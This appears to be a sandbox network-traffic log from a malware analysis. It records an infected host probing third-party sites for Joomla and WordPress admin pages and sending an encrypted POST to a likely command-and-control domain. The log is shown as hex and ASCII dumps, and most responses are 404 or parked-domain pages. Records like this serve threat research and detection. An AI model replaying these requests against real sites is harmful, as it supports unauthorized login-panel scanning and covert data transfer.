34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Dec 2, 2023 18:04:38.636830091 CET	298	OUT	GET /administrator/index.php HTTP/1.1 Host: giannicastellani.it Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://giannicastellani.it/administrator/
Dec 2, 2023 18:04:38.840784073 CET	514	IN	HTTP/1.1 404 Not Found Date: Sat, 02 Dec 2023 17:04:38 GMT Server: Apache Content-Length: 315 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.7	56887	46.254.37.204	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:38.429522038 CET	237	OUT	GET /administrator/ HTTP/1.1 Host: giannicastellani.it Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 2, 2023 18:04:38.643229008 CET	514	IN	HTTP/1.1 404 Not Found Date: Sat, 02 Dec 2023 17:04:38 GMT Server: Apache Content-Length: 315 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Dec 2, 2023 18:04:38.656043053 CET	298	OUT	GET /administrator/index.php HTTP/1.1 Host: giannicastellani.it Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://giannicastellani.it/administrator/
Dec 2, 2023 18:04:38.859184980 CET	514	IN	HTTP/1.1 404 Not Found Date: Sat, 02 Dec 2023 17:04:38 GMT Server: Apache Content-Length: 315 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.7	57067	193.106.174.149	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:38.520104885 CET	334	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://qnhacnuanoh.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 109 Host: legdfls2369.com
Dec 2, 2023 18:04:38.520104885 CET	163	OUT	Data Raw: a4 60 f9 7c fa 45 d5 29 5f c5 3c 80 9b 11 ab 3d c0 da a7 64 f6 87 e6 a6 16 c1 03 f0 79 dd 16 4f c9 3f 45 f2 7a b1 9f 58 dd 23 7b eb 2d e2 f3 9e 89 66 a5 be ac f7 c2 8c 17 63 b6 64 48 a7 3b 1d d4 39 e2 12 d3 66 96 02 1f d3 27 f2 fe 75 af 1c 1b 4a Data Ascii: `\|E)_<=dyO?EzX#{-fcdH;9f'uJ(8FzW@Lm$V]Z?/Kl
Dec 2, 2023 18:04:38.756805897 CET	257	IN	HTTP/1.1 404 Not Found Date: Sat, 02 Dec 2023 17:04:38 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 29 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 19 00 00 00 8f 3b 43 7d 00 6a d7 62 bf 75 60 57 ed a7 e7 10 11 14 e6 93 ac ec aa 40 55 Data Ascii: ;C}jbu`W@U

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.7	56996	208.91.197.132	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:38.555298090 CET	230	OUT	GET /wp-login.php HTTP/1.1 Host: furnscales.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 2, 2023 18:04:38.932555914 CET	1274	IN	HTTP/1.1 200 OK Date: Sat, 02 Dec 2023 17:04:38 GMT Server: Apache Set-Cookie: vsid=929vr449082278674014005; expires=Thu, 30-Nov-2028 17:04:38 GMT; Max-Age=157680000; path=/; domain=furnscales.com; HttpOnly X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_A0oYeamBWWFFSGvYx3FjkkVdRwHcPbBhGn+TJtpoAreedyPjtU4cO82IB8aTutS4rnDoAlK7H8rhGl/18VsocQ== Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 62 30 63 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 65 6c 69 76 65 72 79 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 3e 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 63 6d 70 5f 73 74 61 79 69 6e 69 66 72 61 6d 65 20 3d 20 31 3b 20 77 69 6e 64 6f 77 2e 63 6d 70 5f 64 6f 6e 74 6c 6f 61 64 69 6e 69 66 72 61 6d 65 20 3d 20 74 72 75 65 3b 20 69 66 28 21 22 67 64 70 72 41 70 70 6c 69 65 73 47 6c 6f 62 61 6c 6c 79 22 20 69 6e 20 77 69 6e 64 6f 77 29 7b 77 69 6e 64 6f 77 2e 67 64 70 72 41 70 70 6c 69 65 73 47 6c 6f 62 61 6c 6c 79 3d 74 72 75 65 7d 69 66 28 21 28 22 63 6d 70 5f 69 64 22 20 69 6e 20 77 69 6e 64 6f 77 29 7c 7c 77 69 6e 64 6f 77 2e 63 6d 70 5f 69 64 3c 31 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 69 64 3d 30 7d 69 66 28 21 28 22 63 6d 70 5f 63 64 69 64 22 20 69 6e 20 77 69 6e 64 6f 77 29 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 63 64 69 64 3d 22 32 31 66 64 63 61 32 32 38 31 38 33 33 22 7d 69 66 28 21 28 22 63 6d 70 5f 70 61 72 61 6d 73 22 20 69 6e 20 77 69 6e 64 6f 77 29 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 70 61 72 61 6d 73 3d 22 22 7d 69 66 28 21 28 22 63 6d 70 5f 68 6f 73 74 22 20 69 6e 20 77 69 6e 64 6f 77 29 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 68 6f 73 74 3d 22 61 2e 64 65 6c 69 76 65 72 79 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 7d 69 66 28 21 28 22 63 6d 70 5f 63 64 6e 22 20 69 6e 20 77 69 6e 64 6f 77 29 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 63 64 6e 3d 22 63 64 6e 2e 63 6f 6e 73 65 6e 74 6d Data Ascii: b0cb<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><link rel="preconnect" href="https://delivery.consentmanager.net"> <link rel="preconnect" href="https://cdn.consentmanager.net"> <script>window.cmp_stayiniframe = 1; window.cmp_dontloadiniframe = true; if(!"gdprAppliesGlobally" in window){window.gdprAppliesGlobally=true}if(!("cmp_id" in window)\|\|window.cmp_id<1){window.cmp_id=0}if(!("cmp_cdid" in window)){window.cmp_cdid="21fdca2281833"}if(!("cmp_params" in window)){window.cmp_params=""}if(!("cmp_host" in window)){window.cmp_host="a.delivery.consentmanager.net"}if(!("cmp_cdn" in window)){window.cmp_cdn="cdn.consentm
Dec 2, 2023 18:04:38.932571888 CET	1274	IN	Data Raw: 61 6e 61 67 65 72 2e 6e 65 74 22 7d 69 66 28 21 28 22 63 6d 70 5f 70 72 6f 74 6f 22 20 69 6e 20 77 69 6e 64 6f 77 29 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 70 72 6f 74 6f 3d 22 68 74 74 70 73 3a 22 7d 69 66 28 21 28 22 63 6d 70 5f 63 6f 64 65 73 Data Ascii: anager.net"}if(!("cmp_proto" in window)){window.cmp_proto="https:"}if(!("cmp_codesrc" in window)){window.cmp_codesrc="1"}window.cmp_getsupportedLangs=function(){var b=["DE","EN","FR","IT","NO","DA","FI","ES","PT","RO","BG","ET","EL","GA","HR",
Dec 2, 2023 18:04:38.933290005 CET	1274	IN	Data Raw: 70 70 65 72 43 61 73 65 28 29 29 7d 65 6c 73 65 7b 69 66 28 22 63 6d 70 5f 73 65 74 6c 61 6e 67 22 20 69 6e 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 63 6d 70 5f 73 65 74 6c 61 6e 67 21 3d 22 22 29 7b 63 2e 70 75 73 68 28 77 69 6e 64 6f 77 Data Ascii: pperCase())}else{if("cmp_setlang" in window&&window.cmp_setlang!=""){c.push(window.cmp_setlang.toUpperCase())}else{if(a.length>0){for(var d=0;d<a.length;d++){c.push(a[d])}}}}}if("language" in navigator){c.push(navigator.language)}if("userLangu
Dec 2, 2023 18:04:38.933345079 CET	1274	IN	Data Raw: 6b 3d 28 22 63 6d 70 5f 70 72 6f 74 6f 22 20 69 6e 20 68 29 3f 68 2e 63 6d 70 5f 70 72 6f 74 6f 3a 22 68 74 74 70 73 3a 22 3b 69 66 28 6b 21 3d 22 68 74 74 70 3a 22 26 26 6b 21 3d 22 68 74 74 70 73 3a 22 29 7b 6b 3d 22 68 74 74 70 73 3a 22 7d 76 Data Ascii: k=("cmp_proto" in h)?h.cmp_proto:"https:";if(k!="http:"&&k!="https:"){k="https:"}var g=("cmp_ref" in h)?h.cmp_ref:location.href;var j=u.createElement("script");j.setAttribute("data-cmp-ab","1");var c=x("cmpdesign","cmp_design" in h?h.cmp_desig
Dec 2, 2023 18:04:38.933360100 CET	1274	IN	Data Raw: 74 68 3d 3d 30 29 7b 74 3d 76 28 22 68 65 61 64 22 29 7d 69 66 28 74 2e 6c 65 6e 67 74 68 3e 30 29 7b 74 5b 30 5d 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6a 29 7d 7d 7d 76 61 72 20 6d 3d 22 6a 73 22 3b 76 61 72 20 70 3d 78 28 22 63 6d 70 64 65 62 Data Ascii: th==0){t=v("head")}if(t.length>0){t[0].appendChild(j)}}}var m="js";var p=x("cmpdebugunminimized","cmpdebugunminimized" in h?h.cmpdebugunminimized:0)>0?"":".min";var a=x("cmpdebugcoverage","cmp_debugcoverage" in h?h.cmp_debugcoverage:"");if(a==
Dec 2, 2023 18:04:38.933373928 CET	1274	IN	Data Raw: 65 6f 75 74 28 77 69 6e 64 6f 77 2e 63 6d 70 5f 61 64 64 46 72 61 6d 65 2c 31 30 2c 62 29 7d 7d 7d 3b 77 69 6e 64 6f 77 2e 63 6d 70 5f 72 63 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 62 3d 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 3b Data Ascii: eout(window.cmp_addFrame,10,b)}}};window.cmp_rc=function(h){var b=document.cookie;var f="";var d=0;while(b!=""&&d<100){d++;while(b.substr(0,1)==" "){b=b.substr(1,b.length)}var g=b.substring(0,b.indexOf("="));if(b.indexOf(";")!=-1){var c=b.subs
Dec 2, 2023 18:04:38.933393955 CET	1274	IN	Data Raw: 70 73 74 75 62 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 61 72 67 75 6d 65 6e 74 73 3b 5f 5f 67 70 70 2e 71 3d 5f 5f 67 70 70 2e 71 7c 7c 5b 5d 3b 69 66 28 21 61 2e 6c 65 6e 67 74 68 29 7b 72 65 74 75 72 6e 20 5f 5f 67 70 70 2e 71 7d Data Ascii: pstub=function(){var a=arguments;__gpp.q=__gpp.q\|\|[];if(!a.length){return __gpp.q}var g=a[0];var f=a.length>1?a[1]:null;var e=a.length>2?a[2]:null;if(g==="ping"){return window.cmp_gpp_ping()}else{if(g==="addEventListener"){__gpp.e=__gpp.e\|\|[];
Dec 2, 2023 18:04:39.039892912 CET	1274	IN	Data Raw: 2c 73 75 63 63 65 73 73 3a 67 2c 63 61 6c 6c 49 64 3a 62 2e 63 61 6c 6c 49 64 7d 7d 3b 64 2e 73 6f 75 72 63 65 2e 70 6f 73 74 4d 65 73 73 61 67 65 28 61 3f 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 65 29 3a 65 2c 22 2a 22 29 7d 29 7d 69 66 28 Data Ascii: ,success:g,callId:b.callId}};d.source.postMessage(a?JSON.stringify(e):e,"*")})}if(typeof(c)==="object"&&c!==null&&"__uspapiCall" in c){var b=c.__uspapiCall;window.__uspapi(b.command,b.version,function(h,g){var e={__uspapiReturn:{returnValue:h,
Dec 2, 2023 18:04:39.039921999 CET	1274	IN	Data Raw: 77 69 6e 64 6f 77 5b 61 5d 29 21 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 79 70 65 6f 66 28 77 69 6e 64 6f 77 5b 61 5d 29 21 3d 3d 22 6f 62 6a 65 63 74 22 26 26 28 74 79 70 65 6f 66 28 77 69 6e 64 6f 77 5b 61 5d 29 3d 3d 3d 22 75 6e 64 65 66 Data Ascii: window[a])!=="function"&&typeof(window[a])!=="object"&&(typeof(window[a])==="undefined"\|\|window[a]!==null))){window[a]=window.cmp_gppstub;window[a].msgHandler=window.cmp_msghandler;window.addEventListener("message",window.cmp_msghandler,false)
Dec 2, 2023 18:04:39.039940119 CET	1274	IN	Data Raw: 74 3d 22 30 70 78 22 3b 69 6d 67 6c 6f 67 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 30 70 78 22 3b 69 6d 67 6c 6f 67 2e 73 72 63 3d 22 68 74 74 70 3a 2f 2f 66 75 72 6e 73 63 61 6c 65 73 2e 63 6f 6d 2f 73 6b 2d 6c 6f 67 61 62 70 73 74 61 74 75 73 Data Ascii: t="0px";imglog.style.width="0px";imglog.src="http://furnscales.com/sk-logabpstatus.php?a=V012WWRUSmVnTXZhdXJaSXlGSFlmQy9UZVMvalg0UElvZ3prRG9DeHh3amYzUlNJbzJMZENiQ0ZURHFjdHN2cFgrU3NwczFyNFpTYzZia1B5VlhTUFFybXV6Znl3WFVINHplS3Z0cDhWekxwTVBJc2h5dX
Dec 2, 2023 18:04:39.039958954 CET	1274	IN	Data Raw: 5f 6d 65 64 69 61 5f 5f 2f 66 6f 6e 74 73 2f 6d 6f 6e 74 73 65 72 72 61 74 2d 72 65 67 75 6c 61 72 2f 6d 6f 6e 74 73 65 72 72 61 74 2d 72 65 67 75 6c 61 72 2e 77 6f 66 66 32 22 29 20 66 6f 72 6d 61 74 28 22 77 6f 66 66 32 22 29 2c 75 72 6c 28 22 Data Ascii: _media__/fonts/montserrat-regular/montserrat-regular.woff2") format("woff2"),url("http://i4.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.ttf") format("truetype"),url("http://i4.cdn-image.com/__media__/fonts/montserrat-re
Dec 2, 2023 18:04:39.673074961 CET	310	OUT	GET /wp-admin/ HTTP/1.1 Host: furnscales.com Accept: / Accept-Encoding: deflate, gzip Cookie: vsid=929vr449082278674014005 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://furnscales.com/wp-login.php
Dec 2, 2023 18:04:39.851869106 CET	1274	IN	HTTP/1.1 200 OK Date: Sat, 02 Dec 2023 17:04:39 GMT Server: Apache X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_hekRij6g66J0iOnkGUhgFxKWN8BgNr/tjaYErGAeMXCJxBpH0pAXTdNe09S/I5iehoN7hOykFHjwtb/aC9aD/g== Content-Length: 2581 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4b 58 37 34 69 78 70 7a 56 79 58 62 4a 70 72 63 4c 66 62 48 34 70 73 50 34 2b 4c 32 65 6e 74 71 72 69 30 6c 7a 68 36 70 6b 41 61 58 4c 50 49 63 63 6c 76 36 44 51 42 65 4a 4a 6a 47 46 57 72 42 49 46 36 51 4d 79 46 77 58 54 35 43 43 52 79 6a 53 32 70 65 6e 45 43 41 77 45 41 41 51 3d 3d 5f 68 65 6b 52 69 6a 36 67 36 36 4a 30 69 4f 6e 6b 47 55 68 67 46 78 4b 57 4e 38 42 67 4e 72 2f 74 6a 61 59 45 72 47 41 65 4d 58 43 4a 78 42 70 48 30 70 41 58 54 64 4e 65 30 39 53 2f 49 35 69 65 68 6f 4e 37 68 4f 79 6b 46 48 6a 77 74 62 2f 61 43 39 61 44 2f 67 3d 3d 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 76 61 72 20 61 62 70 3b 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 66 75 72 6e 73 63 61 6c 65 73 2e 63 6f 6d 2f 70 78 2e 6a 73 3f 63 68 3d 31 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 66 75 72 6e 73 63 61 6c 65 73 2e 63 6f 6d 2f 70 78 2e 6a 73 3f 63 68 3d 32 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 66 75 6e 63 74 69 6f 6e 20 68 61 6e 64 6c 65 41 42 50 44 65 74 65 63 74 28 29 7b 74 72 79 7b 69 66 28 21 61 62 70 29 20 72 65 74 75 72 6e 3b 76 61 72 20 69 6d 67 6c 6f 67 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 6d 67 22 29 3b 69 6d 67 6c 6f 67 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 30 70 78 22 3b 69 6d 67 6c 6f 67 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 30 70 78 22 3b 69 6d 67 6c 6f 67 2e 73 72 63 3d 22 68 74 74 70 3a 2f 2f 66 75 72 6e 73 63 61 6c 65 73 2e 63 6f 6d 2f 73 6b 2d 6c 6f 67 61 62 70 73 74 61 74 75 73 2e 70 68 70 3f 61 3d 55 56 42 79 53 33 70 75 5a 45 52 44 4f 45 6c 6b 4d 48 46 48 51 54 67 33 5a 45 4d 78 54 46 42 55 63 57 4e 77 59 7a 4e 78 4d 45 51 78 4d 31 64 5a 53 57 35 31 64 7a 41 35 63 54 6c 36 55 44 6c 4a 55 6b 68 4f 63 46 42 36 51 30 74 61 61 58 68 30 52 6e 56 6f 59 6a 56 74 53 31 70 48 5a 57 74 78 57 55 4a 58 51 54 5a 48 4d 7a 41 31 61 30 31 56 52 48 6f 32 52 6a 46 54 4b 31 42 49 64 32 4a 6d 55 31 41 34 63 56 4e 30 57 54 6c 52 56 31 64 6c 53 57 73 78 62 Data Ascii: <!DOCTYPE html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_hekRij6g66J0iOnkGUhgFxKWN8BgNr/tjaYErGAeMXCJxBpH0pAXTdNe09S/I5iehoN7hOykFHjwtb/aC9aD/g=="><head><script type="text/javascript">var abp;</script><script type="text/javascript" src="http://furnscales.com/px.js?ch=1"></script><script type="text/javascript" src="http://furnscales.com/px.js?ch=2"></script><script type="text/javascript">function handleABPDetect(){try{if(!abp) return;var imglog = document.createElement("img");imglog.style.height="0px";imglog.style.width="0px";imglog.src="http://furnscales.com/sk-logabpstatus.php?a=UVByS3puZERDOElkMHFHQTg3ZEMxTFBUcWNwYzNxMEQxM1dZSW51dzA5cTl6UDlJUkhOcFB6Q0taaXh0RnVoYjVtS1pHZWtxWUJXQTZHMzA1a01VRHo2RjFTK1BId2JmU1A4cVN0WTlRV1dlSWsxb

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.7	56994	208.91.197.132	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:38.555555105 CET	227	OUT	GET /wp-admin/ HTTP/1.1 Host: furnscales.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 2, 2023 18:04:39.003690958 CET	1274	IN	HTTP/1.1 200 OK Date: Sat, 02 Dec 2023 17:04:38 GMT Server: Apache Set-Cookie: vsid=932vr449082278661225725; expires=Thu, 30-Nov-2028 17:04:38 GMT; Max-Age=157680000; path=/; domain=furnscales.com; HttpOnly Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 34 62 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4c 71 75 44 46 45 54 58 52 6e 30 48 72 30 35 66 55 50 37 45 4a 54 37 37 78 59 6e 50 6d 52 62 70 4d 79 34 76 6b 38 4b 59 69 48 6e 6b 4e 70 65 64 6e 6a 4f 41 4e 4a 63 61 58 44 58 63 4b 51 4a 4e 30 6e 58 4b 5a 4a 4c 37 54 63 69 4a 44 38 41 6f 48 58 4b 31 35 38 43 41 77 45 41 41 51 3d 3d 5f 4c 64 32 43 61 2b 33 77 46 36 6d 49 31 49 53 6e 41 62 72 5a 41 38 44 38 71 4a 41 6b 46 49 76 7a 79 64 6c 30 2f 6f 43 7a 38 4c 39 35 33 36 4d 67 37 39 36 4c 4d 4b 68 4f 70 67 46 31 4f 4d 59 77 49 48 6b 76 59 35 4c 31 4e 48 72 55 39 69 38 33 4a 41 76 62 33 41 3d 3d 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 